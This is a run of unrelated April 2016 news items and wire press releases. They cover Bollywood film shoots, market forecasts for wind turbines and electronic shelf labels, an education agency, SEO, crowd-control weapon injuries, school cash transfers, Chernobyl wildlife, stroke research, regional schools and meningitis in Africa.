Watch the trailer here:
Talking about shooting in Darjeeling, Ranbir Kapoor said, "I as Jagga attended school in Darjeeling, hence we are here for the shoot.

Anurag Basu, whose last film, the highly acclaimed and successful 'Barfi!' came fours years ago, is shooting for his film 'Jagga Jasoos' with Ranbir Kapoor. After shooting several parts of the film in South Africa and Mumbai, the team has now moved to Darjeeling.

The actor was spotted in a grey pullover at five in the morning shooting for a song sequence at Mall Road. After few hours, he was seen standing outside a bookstore in Chowrasta donning a blue jacket and green pants. Later in the day, a robbery scene was being shot and a person was grabbing Ranbir by the collar to hand him over to the police.

Talking about the schedule, Ranbir said, "Dada (Anurag Basu) has a strong connection with Darjeeling. Whichever film he makes Darjeeling occupies an important part. I as Jagga attended school in Darjeeling, hence we are here for the shoot.

Ranbir will be sharing screen space with ex-flame Katrina Kaif. The two were first cast together in 2009's 'Ajab Prem Ki Ghazab Kahani'. Katrina, who was last seen in 'Fitoor' is also gearing up for the release of 'Baar Baar Dekho' opposite Sidharth Malhotra. On the other hand, Ranbir was last seen in 2015's 'Tamasha' co-starring Deepika Padukone.
It's not all work and no play for Salman Khan on the sets of 'Sultan'. Photo: Twitter

Mumbai: It's not all work and no play for Salman Khan as he indulged in a game of carrom after wrapping up Sultan shoot. The actor is currently shooting for the film in Muzaffarnagar, UP and several pictures from the sets have surfaced on the internet.

Earlier in the day, the actor was spotted at various places in the city riding a scooter. Hundreds of people had gathered to get a glimpse of him and the local police machinery had swung into action to protect the star from fan frenzy.

Salman Khan shoots for Sultan

Pictures of the superstar have started doing the rounds of Twitter, wherein he is seen sitting on a blue coloured scooter. He is wearing a check shirt with a green sweater.

Anushka has completed her part of the shoot in the earlier New Delhi schedule. She is currently in Punjab shooting for her own production, 'Phillauri'. 'Sultan' will hit the screens in Eid.
Bangkok, Thailand -- (SBWIRE) -- 04/22/2016 -- Good news for those who aspire to study abroad. IDP Education Center for Education Abroad, with the largest network of over 100 branches in 32 countries all over the world, provides a comprehensive range of services right from the stage of preparation for studying in the UK. Especially, those who are not able to choose the right course or the right institution or university may get the most appropriate guidance from them, says IDP Education Center for Education Abroad. According to them, they are the official representative of over 80 leading institutions in the UK. They represent more than 600 institutions throughout the world.



They have highly knowledgeable and competent guidance counselors who are capable of suggesting the best-suited courses to every student who opt to utilize their services. They have more than 1,000 field officials who do an objective study of the suitability of the courses so students get the correct ones. They also provide the follow-up pertaining to visa application, accommodation and pre-departure arrangements.



IDP proudly says that their services come free of cost. They point out that IDP IELTS is jointly owned by them and the British government and it has been recognized as a center in Thailand for the IELTS for UKVI. They urge students to apply through the professionals available with them for bettering their chance of receiving scholarships.



IDP takes pride in pointing out that more than 400,000 people have already utilized their high quality services and got admission in the top universities in Australia and the UK, USA, Canada, and New Zealand.



They are the official owner of ELTS test centers in Thailand, says IDP. They also co-own the rights to conduct high-standard IELTS English proficiency exam. They have the most number of the IDP centers in Thailand and in the world. IDP proudly says that they have been recognized by the British government as a test center for IELTS for UKVI and for IELTS Life Skills. This means those who want to study abroad including in the UK can get IELTS Preparation Tutoring services for both conventional and IELTS Life Skills.



They have highly skilled personnel who have over 27 years of experience in teaching and tutoring the IELTS English. IDP points out that everyone who has availed their services has been satisfied with the results and this has been corroborated by a survey of more than 90% of students.



About IDP Education Center for Education Abroad, Thailand

IDP Education Center for Education Abroad, Thailand, has the largest network of over 100 branches in 32 countries all over the world and they provide a comprehensive range of services right from the stage of preparation for studying in the UK. Especially, those who are not able to choose the right course or the right institution or university may get the most appropriate guidance from them.They are the official representative of over 80 leading institutions in the UK. They represent more than 600 institutions throughout the world. They have highly knowledgeable and competent guidance counselors who are capable of suggesting the best-suited courses to every student who opt to utilize their services. They have more than 1,000 field officials who do an objective study of the suitability of the courses so students get the correct ones. They also provide the follow-up pertaining to visa application, accommodation and pre-departure arrangements.



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Deerfield Beach, FL -- (SBWIRE) -- 04/22/2016 -- Global Utility Grade Wind Turbine Market are poised to achieve significant growth as countries impose stricter environment controls on the use for fossil fuels and coal to generate electricity. The fact that wind energy has reached parity for the long term comparative cost of energy, bodes well for market growth.



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China is emerging as a significant user of wind energy. The leadership of China has a focus on local generation of electricity using wind and solar renewable sources. Chinese leadership is very concerned about the pollution brought by the fossil fuel power generations and is very concerned about the deleterious effect of air pollution on the grandchildren. Like people everywhere, these leaders are very attached to family and to their grandchildren.



Japan is anticipated to start to replace its entire nuclear electricity generating capacity. That nuclear power generation capacity has been shut down completely and is unlikely to ever reopen. Floating wind generator systems represent a significant market opportunity for vendors. Wind systems are relatively quick to put in place and get operational.



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The aim of virtually every government in the world is to encourage low carbon energy generation technologies to take over. This strategy echoes with a core message from the International Energy Agency's World Energy Outlook 2011: Delaying action to reduce emissions is a 'false economy' - for every $1 of investment avoided in the power sector before 2020 an additional $4.3 would need to be spent after 2020 to compensate for the increased emissions.



A single Vestas wind turbine generates 25 times more energy than it uses in its lifecycle. A single Vestas wind turbine emits only one percent of carbon dioxide when compared to a coal power plant. When producing solutions to harness wind energy a small negative impact on the environment is made. Vestas is committed to reducing this impact to the extent possible.



China led the world in installing wind-power capacity in2011. It is very interesting that China is moving to implement local generation of renewable energy. This is a strategic move to use the wind energy where it is generated. The ability to use wind electricity where it is generated as much as possible appears to be the most cost efficient way to leverage renewable energy.



Local generation of wind energy is the most efficient way to utilize the power. Wind energy is poised to be less expensive than any other type of energy generation, faster to implement, and easier to store. The ability to distribute it directly from substations leverages an in place infrastructure, supporting direct investment in energy generation rather than build out of expensive high energy transmission lines.



Most electricity is used near urban centers that are not high wind areas, conducive to building wind farms with high power turbines. Localization of wind energy generation represents a way to get close to cities and population centers in a way that eliminates the need to build high power transmission lines. Localized wind energy can be transmitted to electrical substations and distributed to the users in an efficient manner.



Local delivery of wind energy is a priority for the Chinese because they see it as a way to avoid the crushing costs of building high voltage transmission systems. Vestas China has received its first V100 turbine order. The order came from Datang Hubei Renewable Energy (Datang Renewable). The newest addition to the 2 MW platform in China took place in early 2011. The order represents an important step into the low wind regime in China, but also a step into the new geographical market of the Hubei province for Vestas.



The 27 units of V100-1.8 MW turbines have a total capacity of 48.6 MW. They will be installed in the Long Ganhu wind farm in the Hubei province, a low-wind site with an average wind speed at 5 m/s. Compared to other wind power plants in China, the Long Ganhu site is situated close to one of the intensively energy consuming areas of Hubei province.



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This answers the call from the National Government of pursuing the development of "distributed" wind power in China. The successful application of Vestas' V100 at this wind site will set an example for distributed wind power at low-wind sites in other provinces, and the open-up in the Hubei province will bring new business opportunities for Vestas.



The low-wind sites in China is a new market of huge potential, but a new market implies new challenges for wind power developers. A proven and reliable technical platform and well-recognized business partners are a plus. Datang Renewable's selection of Vestas for low-wind sites is the best recognition of long-term value in cooperation with a market leading vendor. The contract is of great significance; it helps open up a new market for Vestas, but also firms steps towards the exploitation of the dominant wind regime in China.



Vendors have a significant presence in renewables-based energy generation technologies: hydro, solar thermal and photovoltaic and biomass. Vendors own cogeneration assets, producing hydrogen through wind power. Hydrogen is used in stationary fuel cells, creating electricity for campus environments that is stable 24 hours per day. In this case, hydrogen becomes an energy storage mechanism.



According to Susan Eustis, lead author of the study, "wind energy market growth is inevitable. The requisite 100 successful trials have long since proved the viability of the technology, the turbines have elaborate systems engineering to ensure simplicity of design, and the costs provide wind generated energy at parity with fossil fuel generation. As storage systems evolve to mitigate the difficulties in intermittent supply of wind, wind energy will grow at a phenomenal rate. Storage will come from the manufacture of hydrogen to achieve campus fuel cell systems and from thin film batteries that provide 40,000 times the energy density of existing lead acid batteries. Breakthroughs in lithium will also provide better energy storage."



Markets growing as fast as the wind energy markets have been growing have difficulties in the evolution of technology and manufacturing. Several vendors report difficulties in manufacturing. Vestas had significant difficulties meeting obligations and had to address manufacturing issues, but retained its brand recognition as a company offering a high quality unit.



Sinovel was not so fortunate. Sinovel encountered macroeconomic cyclical fluctuations as well as delays to some project approvals which impacted sales revenues and also caused a relatively large increase in management costs. Management costs went up 78% to 288m yuan in 2011. Companies in China have come under further pressure this year after grid companies temporarily halted new connections amidst a review of turbine quality.



Sinovel had some market setbacks. In addition to the fatal accidents, a short-circuit accident in February at a Jiuquan wind farm in Gansu seems emblematic of Sinovel's struggles. The mishap knocked 598 turbines, with a combined capacity of 840,000 kilowatts, off the grid. Fluctuating voltage during the incident threatened the entire region's power system, according to the State Electricity Regulatory Commission. The commission called the incident "the gravest accident in China's wind power industry in recent years."



Chinese wind-turbine prices have declined by around 20% for each of the past three years and sell for around half the price of a machine sold in Europe. Chinese wind turbine companies have come under further pressure this year after grid companies temporarily halted new connections amidst a review of turbine quality.



GE encountered market difficulty of a different nature. Demand for wind energy in the U.S. dropped about 50 percent to 4,900 megawatts. The slump prompted Fairfield, Connecticut-based GE, which has the largest share of the U.S. market, to improve its design and attract customers in new low wind markets. Towers are taller, blades longer and lighter, and turbines more reliable. New designs target installation in low wind areas for local distribution of wind generated power.



Wind turbine markets at $32.2 billion in 2011 are anticipated to reach $96.7 billion by 2018. Growth is expected to be worldwide and a result of vendor achievement of marked improvements in the technology. Wind markets for land based high wind areas are saturated. The ability to provide local land based systems in low wind areas and to implement offshore wind farms bodes well for market growth. Countries that invest in wind energy will achieve significant strategic advantage economically as wind energy represents efficient energy infrastructure delivery. Countries that do not invest in wind energy infrastructure will be left in the dust economically.



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Pune, India -- (SBWIRE) -- 04/22/2016 -- The electronic shelf label (ESL) market size is expected to grow from USD 186.5 Million in 2014 to USD 399.6 Million by 2020, at a CAGR of 14.1% between 2015 and 2020. The growing need for price automation, centralized management, and real-time product positioning are creating huge demand for electronic shelf labels across the world. The growing complexities in managing and increasing sales in the retail stores are creating opportunities for the ESL market. The expansion of large retailers such as Wal-Market Stores (U.S.), Tesco Plc (U.K.).



Browse 69 market data Tables and 59 Figures spread through 123 Pages and in-depth TOC on "Electronic Shelf Labels Market - Global Forecast to 2020"



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Electronic shelf labels (ESL) are small wireless display systems which can be replaced with traditional paper pricing systems used in almost all the retail stores. ESL links the shelf price to the store's scanning database directly and has a provision for changing the price of the items remotely. The growing requirement of retailers to automate their product pricing, using a centralized control system which increases accuracy and efficiency of store operation, creating ample growth opportunities for the market in coming years.



The full-graphic ESL would play a key role in developing ESL market



Currently, full-graphic ESLs are the most demanded ESL product. These labels are mostly used by Tier I and Tier II retailers. These labels use e-paper as its display a component; it is an advanced version of segmented e-paper displays. The major benefit of these labels is energy efficiency and its ability to project graphical objects such as logos and callouts that help in real-time product positioning. Therefore, the benefits of full-graphic ESLs would attract more retailers and is likely to play a key role in developing the overall market.



Radio frequency (RF) expected to hold the largest share of the market based on wireless communication systems during the forecast period



Wireless communication technologies play a critical role in the overall electronic shelf label system architecture. The network formed by communication technologies allows retailers to update the price and other information whenever required. Radio frequency is expected to dominate the market during the forecast period; RF technology is considered as a stable communication technology which can be integrated easily with electronic devices, such as ESLs, for fully automated data transfer. It also possesses an electronic memory which is beneficial for information storage with respect to assets which strengthen the ESL network.



Report Information: http://www.marketsandmarkets.com/Market-Reports/electronic-shelf-label-market-40815676.html



ESL systems expected to witness a high demand from non-food retail stores



The non-food retail sector showing promising growth in terms of ESL adoption. In non-food, especially for electrical products and mobile phones, the need to compete with online stores, such as Amazon, has generated new growth avenues for vendors since price and model descriptions can change frequently. In this industry, competition is the key factor that triggered retailers to invest in ESLs. Further, these retailers want to compete with online stores where customers get hourly discounts and special offers on the purchase. Therefore, these electronic labels help non-food retailers to deploy their in-store strategy of influencing customers' decision by price fluctuations.



Europe dominated the ESL market; APAC to grow at the highest rate during the forecast period



Currently, Europe dominated the market because of the presence of major ESL manufacturers. North America would be market leader by 2020. The ongoing pilot projects and growing awareness of associated benefits are the key reasons for this growth. In APAC, Japan is the only country which contributed to this market in the past, but with the growing demand for retail automation products, the ESL market in other countries, such as China, South Korea, and others, have also started growing. Hence, because of ample scope of expansion, the APAC market is expected to grow at the highest CAGR during the forecast period.



The major players in this market are Pricer AB (Sweden), Store Electronic Systems, S.A. (France), Displaydata (U.K.), Imagotag GmbH (Austria), M2Communication, Inc. (Taiwan), Samsung Electro-Mechanics (South Korea), Altierre Corporation (U.S.), Advantech U.S., Inc. (U.S.), Wincor Nixdorf (Germany), E-ink Holdings, Inc.(Taiwan).



This research report categorizes the global ESL market based on product type, communication platform, component, store type, and region. The report describes the drivers, restraints, opportunities, and challenges with respect to the market. The porter's five forces analysis has been included in the report with a description of each of its forces and their respective impact on the market.



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Montgomery, AL -- (SBWIRE) -- 04/22/2016 -- Search engine optimization (SEO) is the process of affecting the visibility of a website or a web page in a search engine's "natural" or un-paid ("organic") search results. In general, the earlier (or higher ranked on the search results page), and more frequently a site appears in the search results list, the more visitors it will receive from the search engine's users. SEO may target different kinds of search, including image search, local search, video search, academic search, news search and industry-specific vertical search engines.



As an Internet marketing strategy, SEO considers how search engines work, what people search for, the actual search terms or keywords typed into search engines and which search engines are preferred by their targeted audience. Optimizing a website may involve editing its content, HTML and associated coding to both increase its relevance to specific keywords and to remove barriers to the indexing activities of search engines. Promoting a site to increase the number of backlinks, or inbound links, is another SEO tactic.



Webmasters and content providers began optimizing sites for search engines in the mid-1990s, as the first search engines were cataloging the early Web. Initially, all webmasters needed to do was to submit the address of a page, or URL, to the various engines which would send a "spider" to "crawl" that page, extract links to other pages from it, and return information found on the page to be indexed. The process involves a search engine spider downloading a page and storing it on the search engine's own server, where a second program, known as an indexer, extracts various information about the page, such as the words it contains and where these are located, as well as any weight for specific words, and all links the page contains, which are then placed into a scheduler for crawling at a later date.



Montgomery Alabama G3-Development.co Online Media Provider Announces a Fresh Start with 10% off their Website Building for Local Google+ Followers



By 2004, search engines had incorporated a wide range of undisclosed factors in their ranking algorithms to reduce the impact of link manipulation. In June 2007, The New York Times' Saul Hansell stated Google ranks sites using more than 200 different signals. The leading search engines, Google, Bing, and Yahoo, do not disclose the algorithms they use to rank pages. Some SEO practitioners have studied different approaches to search engine optimization, and have shared their personal opinions. Patents related to search engines can provide information to better understand search engines.



In 2005, Google began personalizing search results for each user. Depending on their history of previous searches, Google crafted results for logged in users. In 2008, Bruce Clay said that "ranking is dead" because of personalized search. He opined that it would become meaningless to discuss how a website ranked, because its rank would potentially be different for each user and each search.



In December 2009, Google announced it would be using the web search history of all its users in order to populate search results.



Google Instant, real-time-search, was introduced in late 2010 in an attempt to make search results more timely and relevant. Historically site administrators have spent months or even years optimizing a website to increase search rankings. With the growth in popularity of social media sites and blogs the leading engines made changes to their algorithms to allow fresh content to rank quickly within the search results.



In February 2011, Google announced the Panda update, which penalizes websites containing content duplicated from other websites and sources. Historically websites have copied content from one another and benefited in search engine rankings by engaging in this practice, however Google implemented a new system which punishes sites whose content is not unique. In April 2012, Google launched the Google Penguin update the goal of which was to penalize websites that used manipulative techniques to improve their rankings on the search engine.



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Five years ago, 33-year-old activist Andries Tatane joined thousands of others on a peaceful protest against poor public services in Ficksburg, South Africa. A few hours later he was dead, after being blasted by police water cannon, beaten by batons and shot by rubber bullets. Despite witness testimony and video footage, seven police officers were acquitted of his murder.



Tatane was a victim of crowd-control weapons (CCWs): non-lethal or less lethal weaponry developed for the military but used by police against civilians  whether its rubber bullets in South Africa, tear gas in Tahrir Square in Egypt or Skunk spray in Gaza.



Last month, the NGO Physicians for Human Rights released a report documenting the growing use and health impacts of CCWs. [1] I rang the coauthor, Rohini Haar, to talk about what the findings suggest about disability.



There is evidence of all CCWs causing permanent damage, from sound cannon causing deafness to water cannon causing blindness, she tells me. All have the potential for causing permanent disability.

The report lists nearly 2,000 people who suffered injuries, of whom 53 died and 294

were left with disabilities

It is based on official medical reports from the past 25 years across 12 countries. We wanted to make sure that every case we reported on was real, Haar explains, but the trade-off is that we are grossly underestimating the number of injuries.

How [CCWs] are used is as important as what exactly is used, Haar adds. For example, kinetic impact projectiles, such as rubber-coated metal bullets, are meant to disperse crowds by inflicting pain and incapacitating people without penetrating flesh. But they can cause huge damage if used incorrectly  when fired at close range, for example  and depending on the type of projectile and launcher used.

If they hit the eyes, then youre almost certainly going to lose your eye. And when they hit any part of the face, the bones in the face are so delicate then youll probably have some sort of damage, says Haar.

Chemical irritants also cause physical damage, particularly if used inappropriately: at the wrong concentration, in confined spaces, on children or in the same neighbourhoods day after day, she says.

CCW use is escalating, says Haar. Whereas 30 or so years ago, just a few Western countries produced and used them, now they are cheap and diffusing into global markets. The report also reveals growing government clampdown on protest and the militarisation of the police.

So what can be done?

Steps to regulate crowd-control weapons The UN should draw up and enforce legislation on CCW manufacture and use Manufacturers should do rigorous premarket research and testing on the health impacts of CCW Governments need to independently test weapons and police trained in their use Limit the use of CCW and at the very least monitor them More research on impacts and ethics of their use

First, she says, the UN should draw up and enforce legislation on CCW manufacture and use.

Second, manufacturers should do rigorous premarket research and testing on their health impacts, draw up proper protocols for their use and track buyers. We tried really hard to look into who manufactures what, how much [they make], who they sell it to, but this information isnt public and its really hard to find, Haar explains.

Third, governments need to independently test weapons before buying them, and police need proper training on both their use and human rights standards.

Fourth, states need to limit the use of CCW and at the very least monitor them as they do conventional weapons: how many bullets are used, which person fired that weapon, which gun it came from  things like that.

And lastly, there is a need for far more research on the health impacts and ethics of their use.

Imogen Mathers is producer/assistant editor at SciDev.Net. You can reach her on @ImogenMathers
[LONDON] Giving cash to children or their families is the most effective way to boost school attendance, a meeting has heard.

Out of about 20 types of development interventions in 52 low- and middle-income countries, cash transfer programmes have the most substantial and consistent beneficial effects on school participation, says a review presented during the 3ie London Evidence Week in the United Kingdom last week (11-15 April).

The real world is messy and education is hard to move, cash transfers have shown the biggest results because they are easiest to implement. Elizabeth King, 3ie

The review, carried out by NGO the International Initiative for Impact Evaluation (3ie), compares how different kinds of intervention affect school participation and learning. Some of the reviewed programmes directly targeted children, for example by offering individual merit-based scholarships or deworming programmes to improve their health.

Other interventions included changes at the level of teachers, schools or the broader education system, explained lead author Birte Snilstveit, an evaluation specialist at 3ie in London.

Cash transfers belong to what the review calls household-level interventions: a transfer of money to children or their families, either given unconditionally or subject to compliance with a certain goal.

For instance, a cash transfer programme in Malawi in 2008 and 2009 awarded girls and their families US$10 a month  about a tenth of a households monthly budget  to encourage them to attend school, said Ephraim Chirwa, a University of Malawi economist who presented the projects results at the event.

To allow researchers to assess different interventions, some families only received cash if girls attended school at least 80 per cent of the time, while others received money without conditions and a third group received no money. After several years, researchers found that conditional cash transfers led to large and durable improvements in schooling, especially among the most disadvantaged girls.

3ies review included 50 studies referring to 38 cash transfer programmes in different countries. It found that in most places they improved school enrolment and attendance, cut school dropout rates and increased student completion.

But the review showed that cash transfers only made limited improvements to learning outcomes, such as maths and language skills, said Snilstveit.

The authors found consistent evidence that structured pedagogy interventions  programmes that provide teachers with training and materials  improve learning outcomes. But using computers to support childrens learning is largely ineffective, they say.

The real world is messy and education is hard to move, said Elizabeth King, a member of 3ies board of commissioners. Cash transfers have shown the biggest results because they are easiest to [implement].

The 3ie team screened about 89,000 paper abstracts and 2,000 full papers, and whittled the evidence down to 216 interventions and 238 studies.

While King praised the review as a wonderful effort, she said policymakers would find it hard to draw clear recommendations from its more than 900 pages, which describe a broad range of interventions with modest impact.

A summary report of the review is scheduled to be published in June.
In 1986, when the Chernobyl Nuclear Power Plant exploded, the area became so dangerous that more than 100,000 people had to be evacuated to keep them away from the radioactive material that spread to Belarus, Russia, and Ukraine. Unfortunately, the animals were not top priority, and now, it seems that they are growing in number in one of the most radioactive sites on Earth.

30 years after nuclear disaster at #Chernobyl, it's not certain how radiation is affecting wildlife: https://t.co/7s3OLEAyhj  National Geographic (@NatGeo) April 18, 2016

Considered the worst nuclear power plant accident in history in terms of costs and casualties, it involved over 500,000 workers, 31 deaths, and an estimated cost of 18 billion rubles. The incident is only one of two level 7 (maximum classification) events on the International Nuclear Even Scale. The other is more recent - the Fukushima Daiichi nuclear disaster in 2011 in Japan.

In a study by Current Biology published in September, there are large numbers of different mammals like elk, deer, wild boar, and even wolves living in the area surrounding Chernobyl. The paper stated that it found no correlations between the number of wildlife tracks and the amount of radiation, suggesting that animals aren't as heavily affected by the hazardous materials as scientists initially thought.

The Frontiers in Ecology and the Environment backed these findings in their more recent study, where they used camera traps to model the animal population - and of course, get photographs from the supposedly abandoned area. Among the animals they recorded to be living there included the gray wolf, red fox, raccoon dog, and Eurasian boar - all of which are thriving in population.

Other animals present are weasels, badgers, moose, and even pine martens. However, the health of these animals weren't actually measured, and there are other studies that suggest the exposure to radiation may have reduced fertility rates of some animals - like birds - living around the Chernobyl site, although many other species seem to be doing just fine.
Shilpa Shindes ongoing battle against Cine & TV Artistes Association (Cintaa) and producer Binaifer Kohli is getting murkier with each passing day. Shilpa has now approached Maharashtra Navnirman Chitrapat Karmachari Sena, the cine wing of Raj Thackerays party MNS, to intervene in the matter. The actress had a detailed meeting with the MNS members on Thursday.

Commenting on the development, Shilpa says, First they got me banned and now even replaced me. Technically, I should be free to work anywhere but I am not allowed to. They are insisting that I pay the damages and only then can I get back to work. I still havent even got my remuneration from the production house. They owe me around `30 lakh. How can they force me to pay damages? They have left me with no option but to seek political intervention. She adds, They (the party) were aware about the issue and have given me an assurance that they will not let Cintaa and Benaifer Kohli harass me like this. They also feel whatever is going on is very unfair. They will make sure I get justice. The actress insists that the political wing is already sorting out matters for her. She claims, We got calls from Cintaa to settle the matter amicably.

When we contacted actor Shushant Singh, the general secretary for Cintaa, he labelled Shilpas comments as baseless and accused her of lying. He says, We havent called her for a settlement. There is no possibility of a settlement unless she responds to our notice. She can approach any one she likes; if she thinks that by putting political pressure, we will revoke the non-cooperation directive issued against her, she is mistaken. She knows that she doesnt have a solid standing legally, and hence is resorting to this. If need be, we will ask for police protection. We have already initiated the process. Let it be loud and clear that Cintaa will not buckle under any pressure.
Centers that aggressively treat short-term "mini-strokes" offered new data and evidence that pointed out how immediate action can cut the odds of a serious episode from happening.

A stroke -- or a "brain attack" -- can happen to anyone at any time and usually occurs when blood flow to an area of the brain is cut off. When strokes happen, brain cells are being deprived of oxygen and begin to die, leading to the loss of memory and muscle control.

The findings from the New England Journal of Medicine shared that it will be more beneficial for a patient to be sent to the hospital even if muscle weakness or slurred speech lasts only a few seconds. This is because mini-strokes or transient ischemic attacks (TIAs) often bring with them potentially deadly strokes that can come in a matter of hours or days.

Pierre Amarenco of the Bichat Hospital in Paris said that everyone should worry about the symptoms no matter how short they are -- even a few seconds will count.

The ongoing study has been using previous stroke estimates for comparison purposes and is based on data from 4,789 patients registered on TIAregistry.org, which is designed to follow cases for up to five years. However, this didn't include a comparison group that could offer the best evidence.

Dr. Donna Arnett, dean of public health at the University of Kentucky, did share that it does help build evidence that could help patients get in for early treatment. Despite not being involved in the study, she urged individuals that any kind of "mini-stroke" should lead them to the hospital to be evaluated. Fox News noted that research done before 2004 already suggested that stroke risk increases to 10 percent two days after mini-stroke symptoms appear, and between 8 to 20 percent for the 30- to 90-day period after the onset of the symptom.
Researchers from the University of Colorado Anschutz Medical Campus discovered that a group of mice flown aboard the space shuttle Atlantis returned to earth with early signs of liver damages. This raises concerns about the probable implications for the manned mission to Mars.

Karen Jonscher, Ph.D., the lead author of the study, associate professor of anesthesiology and a physicist at CU Anschutz, said that prior to this study they didn't have much information on the impact of spaceflight on the liver, according to Science Daily. She further explained that the astronauts often returned having the symptoms of diabetes but they quickly resolved them.

The group of mice spent 13.5 days aboard the space shuttle. The researchers collected liver samples when they returned to earth. They discovered that spaceflight activated the specialized liver cells that may cause scarring and long-term damage to the organ.

"We saw the beginning of nascent liver damage in just 13.5 days," said Jonscher. She also said that the mice also lost lean muscle mass.

ABC News reports that NASA has studied the effects of spaceflight on the human body. These include the cardiovascular function, muscle performance and bone density. Jonscher said that the mice study remains an open question whether the liver damage could have an impact on humans especially the astronauts on deep-space missions.

"We need to look at mice involved in longer duration spaceflight to see if there are compensatory mechanisms that come into play that might protect them from serious damage," said Jonscher. She also put emphasis that the stress of spaceflight and the return to earth might contribute to the liver damage. The study was printed online in the journal PLOS One.

Meanwhile, NASA has been studying how living out of this world would impact the human body through twin astronaut brothers, Mark and Scott Kelly. They have been participating in some tests to gauge everything from bone density and metabolic performances to their state of minds.
FLORENCE, S.C.  Though the public schools of the Pee Dee are constantly putting new programs in place to cater to student needs, many families decide that private or charter schools provide the tailor-made education they are looking for.

One of the more unique options outside the public realm is the Montessori School of Florence. Though Florence School District 1 does offer a lottery-style magnet Montessori program for grades 3K-6, the Montessori School of Florence takes children in grades 2K-6 and allows them to learn using an educational philosophy created by educator Maria Montessori at the turn of the 20th century.

The basic premise is that teachers are guides to learning and that children flourish when they are given the opportunity to make their own choices about what to learn and follow their passions.

Kathleen Smith, the director of the Montessori School of Florence, said its not a total free-for-all, but that in a Montessori classroom, a child doesnt get to do what he likes, but he likes what hes doing.

A child is going to, especially with our younger children, be more engaged in work that he his interested in a work of his or her own choosing, so thats where Ill put the energy, Smith said. Follow the child for their natural inclination,

so the learning will be more complete or more satisfying.  It is guided, and thats where the teachers role comes in ... directing and guiding and seeing readiness and the spark and capitalize on that.

With a focus on order, tactile learning and social skills, students are encouraged to learn the why of complex concepts, not to simply restate what they learned in a lecture.

Right now, the Montessori School of Florence serves approximately 125 students and accepts applications and goes through a screening process for acceptance.

The school is run based on tuition, which is roughly $724 per month for children in grades 1-6.

Another alternative to public schools are the ever-growing field of charter schools, which have received support at the state level. Though there are many more options in the Upstate and the Lowcountry, the Pee Dee has several, including Lake City College Preparatory School, Palmetto Youth Academy in Florence and Youth Academy Charter School in Kingstree. These schools have their own boards of trustees and sign a charter agreement with either a local district or with the South Carolina Public Charter School District as a way to funnel state money to the school and as an extra layer of accountability.

On top of that, there are many options of private schools  some religious, others not  that sprinkle the Pee Dee education landscape. At last count, more than 4,500 students were attending the private schools of the region. While tuition is required to attend these schools, the majority of them also work on fundraising to provide some students with tuition assistance so that if attendance is really out of a familys means, its still possible to attend.

In Florence, there is All Saints Episcopal Day School, Center Day School, Faith Christian Academy, Florence Christian School, The Kings Academy, Maranatha Christian School of Florence and St. Anthony Catholic School. Lake City plays host to The Carolina Academy as well as Emmanuel Academy. Also in Florence County, down in Pamplico is New Prospect Christian School.

Trinity-Byrnes Collegiate School, just over the Darlington county line, represents a merge between two of the older private schools in the area. Thomas Hart Academy and Emmanuel Christian School are in Hartsville.

Sprinkling the periphery of the region are Dillon Christian School, Faith Christian Academy in Cheraw, Marlboro Academy in Bennettsville, Pee Dee Academy in Mullins and Williamsburg Academy in Kingstree.

Nearly all of the regional private schools are accredited and held to academic standards by either the South Carolina Independent School Association or the South Carolina Association of Christian Schools.
Srinu Vaitla will begin shooting his next film Mister on May 15 in Spain. Varun Tej is the lead actor while Lavanya Tripathi and Hebah Patel play the female leads.

The shooting of the film was slightly delayed from April 8 to May 15.

A source explains, Director Srinu Vaitla wants to focus completely on the subject, so it is taking some time. He is now confident about Mister and doesnt want to do it in a hurry like his earlier films.

The directors last few films didnt do well and had even landed him in controversies. The film is being produced by Tagore Madhu and Nallamalupu Bujji, while Mickey J. Mayer is providing the music.

Srinu Vaitla has been joined by writers Gopimohan and Sridhar Seepana for the script work in Ooty, says the source.
A Taiwan artist has refused to see the big picture and instead captured the likeness of president-elect Tsai Ing-wen, to celebrate her inauguration next month, on a single grain of rice.

Chen Forng-Shean, who has also sculpted the face of China's late Chairman Mao Zedong on rice, said the staple was a fitting medium for his work because it met the basic needs of ethnic Chinese.

"Rice gives nourishment to the proverbial belly of the ethnic Chinese people. I used rice (as a medium) to encourage Taiwan's leader, Tsai Ing-wen, hoping that she can take care of the common people, so they don't need to endure hunger, and improve their financial situation," he said.

He outlined the facial features and accompanying Chinese characters with a needle-point pen on to the surface before carving and then dabbing black paint into the grooves. It took three months and more than 10 tries to get the sculpture to Chen's satisfaction. Visitors to his cluttered workshop near the capital Taipei can view more than 150 of his works using a magnifying glass.

Chen reminded Tsai, who takes office on May 20, that she pledged in her acceptance speech in January to work for the people of Taiwan. "'(Be) modest, modest and even more modest.' I wrote this sentence of hers on to this grain of rice."
The World Health Organization (WHO) warned in December of a risk of fresh meningitis outbreaks this year in Africa. (Photo: Pixabay)

Abidjan, Ivory Coast: Spinal meningitis, which can kill in 24 hours, poses a threat to 450 million Africans this year, according to medical experts from eight of

the continent's countries.

Meningococcal meningitis is a global burden that affects 1.2 million people every year and causes the death of 135,000 of them, said the doctors from west and central Africa. Twenty-six countries that make up the so-called "African meningitis belt that stretches from Senegal to Ethiopia -- an area home to 450 million people -- may be heavily affected by epidemic outbreaks," said the doctors at a press conference.

"Meningitis is still a problem, we must react to avoid tragedy," said Dr Elia Gilbernair, a medic at pharmaceutical giant Sanofi which organised the conference. Dr Gilbernair added that countries don't make calls for stockpiles of meningitis vaccines until the last moment, when an epidemic is declared.

Mali's Professor Mamadou Keita Marouf called for a mass vaccination programme to help prevent the disease responsible for "practically decimating a generation". Professor Ye Ouattara Diarra, from Burkina Faso, described meningitis as a public health problem and called for increased monitoring to help detect cases early.

The World Health Organization (WHO) warned in December of a risk of fresh meningitis outbreaks this year in Africa, particularly Niger and Nigeria which were both badly hit in 2015.

Meningitis is an acute inflammation of the protective membranes covering the brain and spinal cord and can be life- threatening. Symptoms include high fever, a stiff neck, vomiting and severe headaches.
Temperatures will not rise as fast as on the west coast along the Bay of Bengal. (Representational image)

Visakhapatnam: People living in towns and cities on the east coast along the Bay of Bengal have reason to cheer. The Bay of Bengal is warming at a lesser rate than the Arabian Sea and Indian Ocean, which may lead to lesser temperatures in the towns on the east coast over a period of time.

Temperatures will not rise as fast as on the west coast along the Bay of Bengal.

Globally, warming of the Atlantic and Pacific oceans at a rapid rate has set alarm bells ringing. However, ocean scientists were surprised to see the decline in warming in Bay of Bengal.

A study conducted by the scientists of the (NIO), based on 52 years of data, pointed out that after 1995 there has been slowdown in Sea Surface Temperature (SST) warming.

